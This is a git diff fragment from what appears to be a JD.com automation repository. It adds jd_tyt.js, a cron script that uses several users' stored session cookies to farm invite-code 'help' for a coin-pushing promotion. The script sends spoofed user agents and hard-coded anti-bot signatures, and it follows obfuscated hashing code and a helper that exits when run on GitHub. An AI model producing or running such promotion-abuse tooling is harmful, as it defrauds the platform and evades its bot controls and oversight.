('‫5e1')](_0x167927,_0x119486,_0x4860d1,_0x100693,_0x4729f0,_0x2d754d[_0x1039b9[_0x2271('‮5df')](_0x363a3c,0x9)],_0xd4c31e,0xd9d4d039),_0x4729f0=_0x1039b9[_0x2271('‫5e2')](_0x167927,_0x4729f0,_0x119486,_0x4860d1,_0x100693,_0x2d754d[_0x1039b9[_0x2271('‮5df')](_0x363a3c,0xc)],_0x43ad9b,0xe6db99e5),_0x100693=_0x1039b9[_0x2271('‮5e3')](_0x167927,_0x100693,_0x4729f0,_0x119486,_0x4860d1,_0x2d754d[_0x1039b9[_0x2271('‫5e4')](_0x363a3c,0xf)],_0x35e7ad,0x1fa27cf8),_0x4860d1=_0x1039b9[_0x2271('‮5e5')](_0x167927,_0x4860d1,_0x100693,_0x4729f0,_0x119486,_0x2d754d[_0x1039b9[_0x2271('‫5e4')](_0x363a3c,0x2)],_0x1c6df7,0xc4ac5665),_0x119486=_0x1039b9[_0x2271('‮5e5')](_0x3866f0,_0x119486,_0x4860d1,_0x100693,_0x4729f0,_0x2d754d[_0x1039b9[_0x2271('‮5e6')](_0x363a3c,0x0)],_0x4a7790,0xf4292244),_0x4729f0=_0x1039b9[_0x2271('‫5e7')](_0x3866f0,_0x4729f0,_0x119486,_0x4860d1,_0x100693,_0x2d754d[_0x1039b9[_0x2271('‫5e8')](_0x363a3c,0x7)],_0x903458,0x432aff97),_0x100693=_0x1039b9[_0x2271('‫5e9')](_0x3866f0,_0x100693,_0x4729f0,_0x119486,_0x4860d1,_0x2d754d[_0x1039b9[_0x2271('‮5ea')](_0x363a3c,0xe)],_0x28d527,0xab9423a7),_0x4860d1=_0x1039b9[_0x2271('‫5e9')](_0x3866f0,_0x4860d1,_0x100693,_0x4729f0,_0x119486,_0x2d754d[_0x1039b9[_0x2271('‮5ea')](_0x363a3c,0x5)],_0x46c3ac,0xfc93a039),_0x119486=_0x1039b9[_0x2271('‫5e9')](_0x3866f0,_0x119486,_0x4860d1,_0x100693,_0x4729f0,_0x2d754d[_0x1039b9[_0x2271('‮5ea')](_0x363a3c,0xc)],_0x4a7790,0x655b59c3),_0x4729f0=_0x1039b9[_0x2271('‫5eb')](_0x3866f0,_0x4729f0,_0x119486,_0x4860d1,_0x100693,_0x2d754d[_0x1039b9[_0x2271('‫5ec')](_0x363a3c,0x3)],_0x903458,0x8f0ccc92),_0x100693=_0x1039b9[_0x2271('‫5eb')](_0x3866f0,_0x100693,_0x4729f0,_0x119486,_0x4860d1,_0x2d754d[_0x1039b9[_0x2271('‫5ec')](_0x363a3c,0xa)],_0x28d527,0xffeff47d),_0x4860d1=_0x1039b9[_0x2271('‮5ed')](_0x3866f0,_0x4860d1,_0x100693,_0x4729f0,_0x119486,_0x2d754d[_0x1039b9[_0x2271('‫5ee')](_0x363a3c,0x1)],_0x46c3ac,0x85845dd1),_0x119486=_0x1039b9[_0x2271('‮5ed')](_0x3866f0,_0x119486,_0x4860d1,_0x100693,_0x4729f0,_0x2d754d[_0x1039b9[_0x2271('‮5ef')](_0x363a3c,0x8)],_0x4a7790,0x6fa87e4f),_0x4729f0=_0x1039b9[_0x2271('‮5f0')](_0x3866f0,_0x4729f0,_0x119486,_0x4860d1,_0x100693,_0x2d754d[_0x1039b9[_0x2271('‮5f1')](_0x363a3c,0xf)],_0x903458,0xfe2ce6e0),_0x100693=_0x1039b9[_0x2271('‮5f0')](_0x3866f0,_0x100693,_0x4729f0,_0x119486,_0x4860d1,_0x2d754d[_0x1039b9[_0x2271('‮5f1')](_0x363a3c,0x6)],_0x28d527,0xa3014314),_0x4860d1=_0x1039b9[_0x2271('‫5f2')](_0x3866f0,_0x4860d1,_0x100693,_0x4729f0,_0x119486,_0x2d754d[_0x1039b9[_0x2271('‮5f1')](_0x363a3c,0xd)],_0x46c3ac,0x4e0811a1),_0x119486=_0x1039b9[_0x2271('‫5f3')](_0x3866f0,_0x119486,_0x4860d1,_0x100693,_0x4729f0,_0x2d754d[_0x1039b9[_0x2271('‫5f4')](_0x363a3c,0x4)],_0x4a7790,0xf7537e82),_0x4729f0=_0x1039b9[_0x2271('‫5f5')](_0x3866f0,_0x4729f0,_0x119486,_0x4860d1,_0x100693,_0x2d754d[_0x1039b9[_0x2271('‫5f4')](_0x363a3c,0xb)],_0x903458,0xbd3af235),_0x100693=_0x1039b9[_0x2271('‫5f5')](_0x3866f0,_0x100693,_0x4729f0,_0x119486,_0x4860d1,_0x2d754d[_0x1039b9[_0x2271('‮5f6')](_0x363a3c,0x2)],_0x28d527,0x2ad7d2bb),_0x4860d1=_0x1039b9[_0x2271('‫5f5')](_0x3866f0,_0x4860d1,_0x100693,_0x4729f0,_0x119486,_0x2d754d[_0x1039b9[_0x2271('‮5f6')](_0x363a3c,0x9)],_0x46c3ac,0xeb86d391),_0x119486=_0x1039b9[_0x2271('‮593')](_0x2a7ac8,_0x119486,_0x31a8b4),_0x4860d1=_0x1039b9[_0x2271('‫5f7')](_0x2a7ac8,_0x4860d1,_0x6c95f3),_0x100693=_0x1039b9[_0x2271('‫5f7')](_0x2a7ac8,_0x100693,_0x5e36eb),_0x4729f0=_0x1039b9[_0x2271('‫5f8')](_0x2a7ac8,_0x4729f0,_0x541cb3);var _0x4f5b13=_0x1039b9[_0x2271('‮5f6')](_0x1039b9[_0x2271('‮5f6')](_0x1039b9[_0x2271('‮5f6')](_0x1039b9[_0x2271('‫5af')](_0x4118c6,_0x119486),_0x1039b9[_0x2271('‫5af')](_0x4118c6,_0x4860d1)),_0x1039b9[_0x2271('‫5af')](_0x4118c6,_0x100693)),_0x1039b9[_0x2271('‮5f9')](_0x4118c6,_0x4729f0));return _0x4f5b13[_0x2271('‮5fa')]();};_0xodA='jsjiami.com.v6'; +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),"PUT"===e&&(s=this.put),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}put(t){return this.send.call(this.env,t,"PUT")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}put(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.put(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="PUT",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.put(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_tyt.js b/jd_tyt.js new file mode 100644 index 0000000..ac2501f --- /dev/null +++ b/jd_tyt.js @@ -0,0 +1,383 @@ +/* +注意:助力码每天会变,旧的不可用。 +助力逻辑:优先助力互助码变量,默认助力前三个可助力的账号,需要修改助力人数修改代码57行的数字即可 +入口-极速版-推推赚大钱 5元无门槛卷 大概需要50人助力 + [task_local] +#快速推一推 +0 1 * * * jd_tyt.js, tag=推一推, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +*/ + +const $ = new Env('极速版-推推赚大钱');//助力前三个可助力的账号 +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const JD_API_HOST = 'https://api.m.jd.com'; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let status = '' +let inviteCodes = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + } + console.log('\n入口→极速版→赚金币→推推赚大钱\n'); + await info() + await coinDozerBackFlow() + await getCoinDozerInfo() + console.log('\n注意助力前三个可助力的账号\n'); + if (inviteCodes.length >= 3) { + break + } + } + console.log('\n#######开始助力前三个可助力的账号#######\n'); + cookiesArr.sort(function () { + return .5 - Math.random(); + }); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if (!cookie) continue + for (let j in inviteCodes) { + $.ok = false + if (inviteCodes[j]["ok"]) continue + if ($.UserName === inviteCodes[j]['user']) continue; + await helpCoinDozer(inviteCodes[j]['packetId']) + console.log(`\n【${$.UserName}】去助力【${inviteCodes[j]['user']}】邀请码:${inviteCodes[j]['packetId']}`); + if ($.ok) { + inviteCodes[j]["ok"] = true + continue + } + await $.wait(10000) + await help(inviteCodes[j]['packetId']) + if ($.ok) { + inviteCodes[j]["ok"] = true + continue + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +function info() { + return new Promise((resolve) => { + + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=initiateCoinDozer&body={"actId":"3075b6eab065464dad1c4042d345ac97","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s"}&appid=megatron&client=ios&clientVersion=14.3&t=1636014459632&networkType=4g&eid=&fp=-1&frontendInitStatus=s&uuid=8888&osVersion=14.3&d_brand=&d_model=&agent=-1&pageClickKey=-1&screen=400*700&platform=3&lang=zh_CN`, + headers: { + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + } + } + $.post(nm, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true) { + console.log('邀请码:' + data.data.packetId) + console.log('初始推出:' + data.data.amount) + if (data.data && data.data.packetId) { + inviteCodes.push({ + user: $.UserName, + packetId: data.data.packetId, + ok: false, + }); + } + } else if (data.success == false) { + console.log(data.msg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function coinDozerBackFlow() { + return new Promise((resolve) => { + + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=coinDozerBackFlow&body={"actId":"3075b6eab065464dad1c4042d345ac97","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s"}&appid=megatron&client=ios&clientVersion=14.3&t=1636015617899&networkType=4g&eid=&fp=-1&frontendInitStatus=s&uuid=8888&osVersion=14.3&d_brand=&d_model=&agent=-1&pageClickKey=-1&screen=400*700&platform=3&lang=zh_CN`, + headers: { + + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + + } + } + $.post(nm, async (err, resp, data) => { + + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true) { + console.log('浏览任务完成再推一次') + + + } + } else if (data.success == false) { + console.log(data.msg) + } + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function helpCoinDozer(packetId) { + return new Promise((resolve) => { + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=helpCoinDozer&appid=station-soa-h5&client=H5&clientVersion=1.0.0&t=1636015855103&body={"actId":"3075b6eab065464dad1c4042d345ac97","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s","packetId":"${packetId}"}&_ste=1&_stk=appid,body,client,clientVersion,functionId,t&h5st=20211104165055104;9806356985655163;10005;tk01wd1ed1d5f30nBDriGzaeVZZ9vuiX+cBzRLExSEzpfTriRD0nxU6BbRIOcSQvnfh74uInjSeb6i+VHpnHrBJdVwzs;017f330f7a84896d31a8d6017a1504dc16be8001273aaea9a04a8d04aad033d9`, + headers: { + + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + + } + } + $.post(nm, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true) { + console.log('推出:' + data.data.amount) + console.log('已经推出:' + data.data.dismantledAmount) + } + } else if (data.success == false) { + if (data.msg.indexOf("已完成砍价") != -1) { + $.ok = true + } + } + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function help(packetId) { + return new Promise((resolve) => { + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=helpCoinDozer&appid=station-soa-h5&client=H5&clientVersion=1.0.0&t=1623120183787&body={"actId":"3075b6eab065464dad1c4042d345ac97","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s","packetId":"${packetId}","helperStatus":"0"}&_ste=1&_stk=appid,body,client,clientVersion,functionId,t&h5st=20210608104303790;8489907903583162;10005;tk01w89681aa9a8nZDdIanIyWnVuWFLK4gnqY+05WKcPY3NWU2dcfa73B7PBM7ufJEN0U+4MyHW5N2mT/RNMq72ycJxH;7e6b956f1a8a71b269a0038bbb4abd24bcfb834a88910818cf1bdfc55b7b96e5`, + headers: { + + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + + } + } + $.post(nm, async (err, resp, data) => { + + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true) { + console.log("帮砍:" + data.data.amount) + + } + } + else + if (data.msg.indexOf("完成") != -1) { + status = 1 + } + if (data.success == false) { + if (data.msg.indexOf("完成") != -1) { + $.ok = true + } + console.log(data.msg) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getCoinDozerInfo() { + return new Promise((resolve) => { + + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=getCoinDozerInfo&body={"actId":"3075b6eab065464dad1c4042d345ac97","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s"}&appid=megatron&client=ios&clientVersion=14.3&t=1636015858295&networkType=4g&eid=&fp=-1&frontendInitStatus=s&uuid=8888&osVersion=14.3&d_brand=&d_model=&agent=-1&pageClickKey=-1&screen=400*700&platform=3&lang=zh_CN`, + headers: { + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + } + } + $.post(nm, async (err, resp, data) => { + + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true && data?.data?.sponsorActivityInfo?.packetId) { + console.log('叼毛:' + data.data.sponsorActivityInfo.initiatorNickname) + console.log('邀请码:' + data.data.sponsorActivityInfo.packetId) + console.log('推出:' + data.data.sponsorActivityInfo.dismantledAmount) + if (data.data && data.data.sponsorActivityInfo.packetId) { + inviteCodes.push({ + user: $.UserName, + packetId: data.data.sponsorActivityInfo.packetId, + ok: false, + }); + } + } else if (data.success == false) { + console.log(data.msg) + } + } + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + + + +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : 